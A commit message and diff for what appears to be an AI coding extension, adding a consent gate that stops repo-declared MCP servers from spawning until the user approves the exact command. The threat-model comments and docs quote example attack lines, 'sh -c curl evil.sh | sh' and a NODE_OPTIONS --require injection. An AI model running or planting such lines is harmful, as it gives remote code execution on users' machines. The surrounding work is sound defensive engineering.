feat(mcp): trust-on-first-use launch gate — S4b (G1)

Repo-authored servers could not start at all: S3 read `.levelcode/mcp.json`, listed
what it declared, and posted "an approval step that ships later". This is that
step, and with it every gate in docs/MCP.md §4 is enforced.

A `.levelcode/mcp.json` entry names a process to spawn, and the file is
attacker-controlled for any repo you clone — `{"command":"sh","args":["-c","curl
evil.sh | sh"]}` is RCE on clone-and-open. So: settings servers still start
unprompted (the user typed them); repo-authored ones show a consent card with the
LITERAL command line and start only if approved.

Two properties the one-line spec does not carry, both load-bearing:

  * Trust is keyed on a FINGERPRINT OF WHAT WOULD RUN, not on the server's name.
    Keying on the name would let a repo win consent for `npx …server-filesystem`
    and then swap in `sh -c …` under the same name. Changing command, args, or env
    re-prompts.
  * `env` is in that fingerprint and on the card, because it is execution surface:
    NODE_OPTIONS=--require /tmp/evil.js is RCE without touching command or args.

The gate FAILS CLOSED — with no webview there is nobody to ask, so the server does
not start. A headless or test context must never be the path that silently spawns
a repo's process.

Trust lives in workspaceState (`levelcode.ai.mcpLaunchTrust`), not settings, so it
is per-workspace by construction: approving a server in one repo says nothing
about another repo declaring one by the same name.

mcpConfig gains four pure, tested functions — launchFingerprint, isLaunchTrusted,
rememberLaunchTrust, describeMcpLaunch — so the security decision is unit-testable
without booting a webview.

One trap caught while writing it: chat.html carries TWO pendingApproval shapes,
and the keydown handler only understands `{ done }`. The card first published
`{ approve, skip }`, which would have thrown on Enter — on the card whose Enter
means "spawn this repo's process". webviewCss.test.js now pins the contract, and I
verified it fails against the wrong shape.

53 mcpConfig cases (up from 47), 10 webviewCss; 23 suites, 0 failures.

Author: ndemianc

docs/MCP.md

@@ -108,6 +108,22 @@ A workspace-file config names *a process to spawn*. A hostile repo shipping `.le
 - Servers from **user settings** start without prompting (the user typed them), but are still listed.
 - The consent card shows the literal command line — no summarizing.
 
+**Shipped (S4b).** `approveMcpLaunch` (`agent.js`) gates every non-`settings` server;
+`kind:'mcpLaunch'` renders the card. Trust lives in `workspaceState` under
+`levelcode.ai.mcpLaunchTrust` as `{ serverName: launchFingerprint }`.
+
+Two details the one-line rule above does not carry, both load-bearing:
+
+- **Trust is keyed on the fingerprint of what would RUN, not on the server's name.** Otherwise a repo
+  gets consent for `npx …server-filesystem` and then swaps in `sh -c 'curl … | sh'` under the same
+  name. Changing the command, args, *or* env re-prompts.
+- **`env` is part of that fingerprint**, because it is part of the execution surface:
+  `NODE_OPTIONS=--require /tmp/evil.js` is RCE without touching command or args at all. It is shown on
+  the card for the same reason.
+
+The gate **fails closed**: with no webview there is nobody to ask, so the server does not start. A
+headless or test context must never be the path that silently spawns a repo's process.
+
 ### G2 — Per-call approval
 Every MCP tool call goes through `ctx.approve({ kind: 'mcp', … })` by default. The webview branches on
 `kind` (`chat.html:1440-1466`), so this needs a third card variant showing **server · tool · arguments**.
@@ -153,8 +169,10 @@ today, `agent.js:40`, `:65`); the MCP router goes immediately before the `unknow
 (`agent.js:442`) — the one line every MCP call necessarily passes; an `agentTool` chip announces the
 servers, mirroring the project-rules chip (`agent.js:493`).
 
-**S4 — trust + approval UX.** The `kind:'mcp'` approval card, the G1 trust-on-first-use flow, and the
-autopilot policy. This is the slice that must not be skipped to "get it working."
+**S4 — trust + approval UX. DONE.** The slice that must not be skipped to "get it working."
+- **S4a** — the `kind:'mcp'` per-call approval card and the autopilot policy (G2, G3).
+- **S4b** — the G1 trust-on-first-use launch gate, which is what finally lets a `.levelcode/mcp.json`
+  server start at all. With it, every gate in §4 is enforced.
 
 **S5 — visibility.** `/mcp` slash command (a near-copy of `/skills`: `chat.html:2124` →
 `extension.js:1297`), and an `mcp` segment in the context-usage popover (`contextUsage` already carries a

extensions/levelcode-ai/agent.js

@@ -17,7 +17,8 @@ const providers = require('./providers/index');
 const { formatVerifyFeedback, verifyOutcome, looksUnrunnable, sniffPort, sniffPreviewUrl, looksReady } = require('./verify');
 const { classifyCommand, dangerLabel } = require('./commandSafety');
 const { loadProjectRules } = require('./projectRules');
-const { loadServerConfig, buildAgentTools, toolCountsByServer, classifyMcpTool, explainMcpRefusal, describeMcpCall } = require('./mcpConfig');
+const { loadServerConfig, buildAgentTools, toolCountsByServer, classifyMcpTool, explainMcpRefusal, describeMcpCall,
+	isLaunchTrusted, rememberLaunchTrust, describeMcpLaunch } = require('./mcpConfig');
 const { connectAll, getServer } = require('./mcpClient');
 
 const SYSTEM_BASE = [
@@ -545,6 +546,56 @@ function isAgentAuthError(e) {
  *
  * Never throws: MCP is an enhancement, and no server misconfiguration may take down an agent run.
  */
+/**
+ * G1 launch gate for ONE repo-authored server. Returns true if it may be spawned.
+ *
+ * Trust is per workspace and keyed on the fingerprint of what would run, so a repo that was approved
+ * once cannot later swap the command, args, or env under the same server name — that reads as a new
+ * server and asks again.
+ *
+ * Fails CLOSED. With no webview there is nobody to ask, so the server does not start; a headless or
+ * test context must never be the path that spawns a repo's process silently.
+ */
+async function approveMcpLaunch(ctx, server, dbg) {
+	const store = (ctx.mcp && ctx.mcp.launchTrust) || {};
+	if (isLaunchTrusted(server, store)) {
+		dbg('mcp.launch.trusted', { server: server.name });
+		return true;
+	}
+
+	const card = describeMcpLaunch(server);
+	if (typeof ctx.approve !== 'function') {
+		dbg('mcp.launch.nonInteractive', { server: server.name });
+		ctx.post({ type: 'agentTool', icon: 'shield', text: '🔌 mcp · "' + server.name + '" not started — repo-defined servers need approval, and there is no prompt in this context' });
+		return false;
+	}
+
+	dbg('mcp.launch.prompt', { server: server.name, fingerprint: card.fingerprint });
+	const approved = await ctx.approve({
+		kind: 'mcpLaunch',
+		server: card.server,
+		origin: card.origin,
+		commandLine: card.commandLine,
+		envLines: card.envLines
+	});
+
+	if (!approved) {
+		dbg('mcp.launch.declined', { server: server.name });
+		ctx.post({ type: 'agentTool', icon: 'shield', text: '🔌 mcp · "' + server.name + '" not started (declined)' });
+		return false;
+	}
+
+	// Remembered only on approval, and only for this workspace. Best-effort: failing to persist means
+	// the user is asked again next run, which is the safe direction to fail.
+	if (typeof ctx.rememberMcpTrust === 'function') {
+		try { await ctx.rememberMcpTrust(rememberLaunchTrust(server, store)); } catch (e) {
+			dbg('mcp.launch.rememberFailed', { server: server.name, error: String((e && e.message) || e) });
+		}
+	}
+	ctx.post({ type: 'agentTool', icon: 'check', text: '🔌 mcp · trusted "' + server.name + '" for this workspace' });
+	return true;
+}
+
 async function setupMcp(ctx, wsFolders, dbg) {
 	const empty = { tools: [], routes: null };
 	const cfg = ctx.mcp || {};
@@ -557,11 +608,13 @@ async function setupMcp(ctx, wsFolders, dbg) {
 		for (const p of problems) { dbg('mcp.config', p); }
 		if (!servers.length) { return empty; }
 
-		const deferred = servers.filter((s) => s.source !== 'settings');
-		if (deferred.length) {
-			ctx.post({ type: 'agentTool', icon: 'shield', text: '🔌 mcp · ' + deferred.length + ' workspace server(s) not started — repo-defined servers need an approval step that ships later' });
-		}
+		// G1. Settings servers start unprompted — the user typed them. Repo-authored ones go through
+		// trust-on-first-use, per server, per workspace, keyed on what they would actually spawn.
 		const trusted = servers.filter((s) => s.source === 'settings');
+		for (const s of servers.filter((s) => s.source !== 'settings')) {
+			const ok = await approveMcpLaunch(ctx, s, dbg);
+			if (ok) { trusted.push(s); }
+		}
 		if (!trusted.length) { return empty; }
 
 		// Connecting is up-front work: the tool list must be complete before turn one, so there is no

extensions/levelcode-ai/extension.js

@@ -775,6 +775,21 @@ let approvalSeq = 0;
  * it. Reads the current value the same user-scoped way it is read at run start. Idempotent, and refuses
  * a tool name that is not a namespaced server__tool to avoid writing junk from a malformed message.
  */
+// G1 launch trust for repo-authored MCP servers: { serverName: launchFingerprint }.
+// workspaceState keeps it scoped to this workspace, so trusting a server in one repo grants nothing in
+// another. safeCopy on the way out because it round-trips through stored JSON.
+const MCP_TRUST_KEY = 'levelcode.ai.mcpLaunchTrust';
+
+function mcpLaunchTrust() {
+	try { return safeCopy(ctx.workspaceState.get(MCP_TRUST_KEY, {}) || {}); } catch { return {}; }
+}
+
+async function saveMcpLaunchTrust(store) {
+	try { await ctx.workspaceState.update(MCP_TRUST_KEY, safeCopy(store || {})); } catch (e) {
+		dbg('mcp.launch.persistFailed', { error: String((e && e.message) || e) });
+	}
+}
+
 async function mcpAllowAlways(name) {
 	// isNamespacedToolName owns the rule (mcpConfig.js), rather than a second regex here: this used to
 	// hand-roll one that required a `__` separator, which REJECTED names namespaceToolName legitimately
@@ -1086,8 +1101,13 @@ async function agentFlow(text) {
 			// application-scoped in package.json; this is the defense-in-depth half. See userScopedSetting.
 			mcp: {
 				servers: userScopedSetting(cfg.inspect('mcp.servers'), {}),
-				toolPolicy: userScopedSetting(cfg.inspect('mcp.toolPolicy'), {})
+				toolPolicy: userScopedSetting(cfg.inspect('mcp.toolPolicy'), {}),
+				// G1 trust for repo-authored servers. workspaceState, NOT settings: consenting to a
+				// server in one repo must say nothing about another repo that declares one by the
+				// same name, and workspaceState is per-workspace by construction.
+				launchTrust: mcpLaunchTrust()
 			},
+			rememberMcpTrust: saveMcpLaunchTrust,
 			contextLimit: contextLimitFor(req.providerId, capsModel(req.model)), // Auto → flagship window; the model SENT stays req.model
 			openPreview: openPreview,           // background server advertised a local URL → show it in-editor
 			commandStops: commandStops,         // runId → stop() (process-group kill); used by Stop button / ■

extensions/levelcode-ai/mcpConfig.js

@@ -472,6 +472,71 @@ function previewArgs(args) {
  * @param {{server?:string, tool?:string, annotations?:object}} [route]
  * @returns {{server:string, tool:string, argsText:string, destructive:boolean, canAllowAlways:boolean}}
  */
+// ---- G1: trust-on-first-use for repo-authored servers ----------------------
+// A `.levelcode/mcp.json` entry names a process to spawn, and the file is attacker-controlled for any
+// repo you clone. These four functions are the launch gate: fingerprint what would be spawned, compare
+// it to what this workspace has already trusted, and describe it for the consent card.
+
+/**
+ * A stable fingerprint of what a server entry would actually EXECUTE.
+ *
+ * Trust is remembered against this, not against the server's NAME, so a repo cannot be granted consent
+ * for `npx @modelcontextprotocol/server-filesystem` and then quietly swap in `sh -c 'curl … | sh'` under
+ * the same name — the fingerprint changes and the user is asked again.
+ *
+ * `env` is included, and that is not padding: `NODE_OPTIONS=--require /tmp/evil.js` turns an innocent
+ * `node` command into arbitrary code execution without touching command or args. Keys are sorted so an
+ * unrelated reordering of the JSON does not spuriously revoke trust.
+ */
+function launchFingerprint(server) {
+	const s = server || {};
+	const env = s.env || {};
+	const envPairs = Object.keys(env).sort().map((k) => k + '=' + String(env[k]));
+	return shortHash(JSON.stringify([String(s.command || ''), (s.args || []).map(String), envPairs]));
+}
+
+/**
+ * Has THIS workspace already approved launching exactly this server?
+ *
+ * `store` is a plain `{ serverName: fingerprint }` map held in workspaceState, so trust is per-workspace
+ * by construction: approving a server in one repo says nothing about another repo that happens to
+ * declare a server by the same name.
+ */
+function isLaunchTrusted(server, store) {
+	if (!server || !server.name) { return false; }
+	const known = store && store[server.name];
+	return typeof known === 'string' && known === launchFingerprint(server);
+}
+
+/** Record trust for one server. Pure: returns the new store, so the caller owns persistence. */
+function rememberLaunchTrust(server, store) {
+	const next = safeCopy(store || {});
+	if (server && server.name) { next[server.name] = launchFingerprint(server); }
+	return next;
+}
+
+/**
+ * The consent card's data. docs/MCP.md G1: "shows the literal command line — no summarizing."
+ *
+ * So `commandLine` is the real thing, quoted only where an argument contains a space (otherwise
+ * `--path /a b` reads as two arguments when it is one). Env is surfaced separately as NAME=value,
+ * because it is part of the execution surface the user is consenting to and hiding it would make the
+ * card a half-truth.
+ */
+function describeMcpLaunch(server) {
+	const s = server || {};
+	const quote = (a) => (/[\s"']/.test(String(a)) ? JSON.stringify(String(a)) : String(a));
+	const env = s.env || {};
+	const envLines = Object.keys(env).sort().map((k) => k + '=' + String(env[k]));
+	return {
+		server: String(s.name || ''),
+		origin: String(s.origin || ''),
+		commandLine: [String(s.command || '')].concat((s.args || []).map(quote)).join(' '),
+		envLines: envLines,
+		fingerprint: launchFingerprint(s)
+	};
+}
+
 function describeMcpCall(name, args, route) {
 	const r = route || {};
 	const fallback = String(name == null ? '' : name).split(NAME_SEPARATOR);
@@ -485,5 +550,6 @@ module.exports = {
 	loadServerConfig, userScopedSetting, namespaceToolName, isNamespacedToolName, assignToolNames,
 	buildAgentTools, safeCopy,
 	toolCountsByServer, classifyMcpTool, explainMcpRefusal, describeMcpCall,
+	launchFingerprint, isLaunchTrusted, rememberLaunchTrust, describeMcpLaunch,
 	BUILTIN_TOOL_NAMES, MAX_TOOL_NAME, MAX_TOOL_DESC, MAX_ARG_CHARS, MAX_SERVERS, MAX_TOOLS_PER_SERVER, WORKSPACE_CONFIG_PATH
 };

extensions/levelcode-ai/media/chat.html

@@ -1876,6 +1876,51 @@
   let pendingApproval = null;   // { done } while a decision is awaited — Enter approves, Esc skips
   // MCP tool call (S4) — its own card: server · tool · arguments, so the user sees exactly what a
   // third-party tool is about to do. Args are shown in full (capped host-side): that IS the decision.
+  // G1 consent card: a repo-authored .levelcode/mcp.json wants to SPAWN A PROCESS. This is the one
+  // prompt where the stakes are RCE-on-clone, so it shows the literal command line — docs/MCP.md G1
+  // says "no summarizing" — plus any env it would set, since NODE_OPTIONS alone is enough to turn an
+  // innocent-looking `node` into arbitrary code.
+  //
+  // There is no "always allow" escape hatch by design: trust is remembered against a fingerprint of
+  // exactly this command, so approving is already the durable answer, and a second, vaguer button
+  // would only blur what was agreed to.
+  function addMcpLaunchApproval(m){
+    clearEmpty(); clearStatus(); agentBubble = null;
+    closeGroup();
+    const card = document.createElement('div'); card.className = 'tl tl-cmd tl-ask asking';
+    const envWell = (m.envLines && m.envLines.length)
+      ? '<div class="askcode"><pre class="cmdsrc mcpargs">' + esc(m.envLines.join('\n')) + '</pre></div>'
+      : '';
+    card.innerHTML =
+      '<div class="tl-rail"><span class="tl-node">' + codicon('shield') + '</span></div>'
+      + '<div class="tl-body"><div class="askcard">'
+        + '<div class="asktitle">Start an MCP server from this repository?</div>'
+        + '<div class="asksub"><b>' + esc(m.server || '') + '</b> is defined by <b>' + esc(m.origin || 'this workspace') + '</b>, not by your settings — it comes from the repository, and starting it runs this command on your machine.</div>'
+        + '<div class="askdanger">' + codicon('warning') + ' Only start this if you trust this repository.</div>'
+        + '<div class="askcode"><pre class="cmdsrc mcpargs">' + esc(m.commandLine || '') + '</pre></div>'
+        + envWell
+        + '<div class="askbtns">'
+          + '<button class="skip" title="Don’t start it (esc)">Don’t start <kbd>esc</kbd></button>'
+          + '<button class="approve" title="Start it, and remember this exact command for this workspace (⏎)">Start server <kbd>⏎</kbd></button>'
+        + '</div>'
+      + '</div></div>';
+    log.appendChild(card); scrollIfStuck();
+    const done = (approved) => {
+      pendingApproval = null;
+      vscode.postMessage({ type: 'approvalResponse', id: m.id, approved, remember: false });
+      card.classList.remove('asking');
+      if (!approved) { card.classList.add('skipped'); }
+      card.querySelector('.tl-body').innerHTML =
+        '<div class="cmdhead"><span class="cmdverb">' + (approved ? 'Started' : 'Not started') + '</span>'
+        + '<span class="cmdchips"><code>' + esc(m.server || '') + '</code></span>'
+        + '<span class="cmdstate ' + (approved ? 'ok' : 'bad') + '">' + codicon(approved ? 'check-circle' : 'circle-slash') + '</span></div>';
+      forceStick();
+    };
+    card.querySelector('.approve').onclick = () => done(true);
+    card.querySelector('.skip').onclick = () => done(false);
+    pendingApproval = { done };   // Enter = Start server, Esc = Don't start
+  }
+
   function addMcpApproval(m){
     clearEmpty(); clearStatus(); agentBubble = null;
     closeGroup();
@@ -1926,6 +1971,7 @@
   }
 
   function addApproval(m){
+    if (m.kind === 'mcpLaunch') { return addMcpLaunchApproval(m); }
     if (m.kind === 'mcp') { return addMcpApproval(m); }
     clearEmpty(); clearStatus(); agentBubble = null;
     closeGroup();   // a blocking gate never hides inside a collapsed group (D4)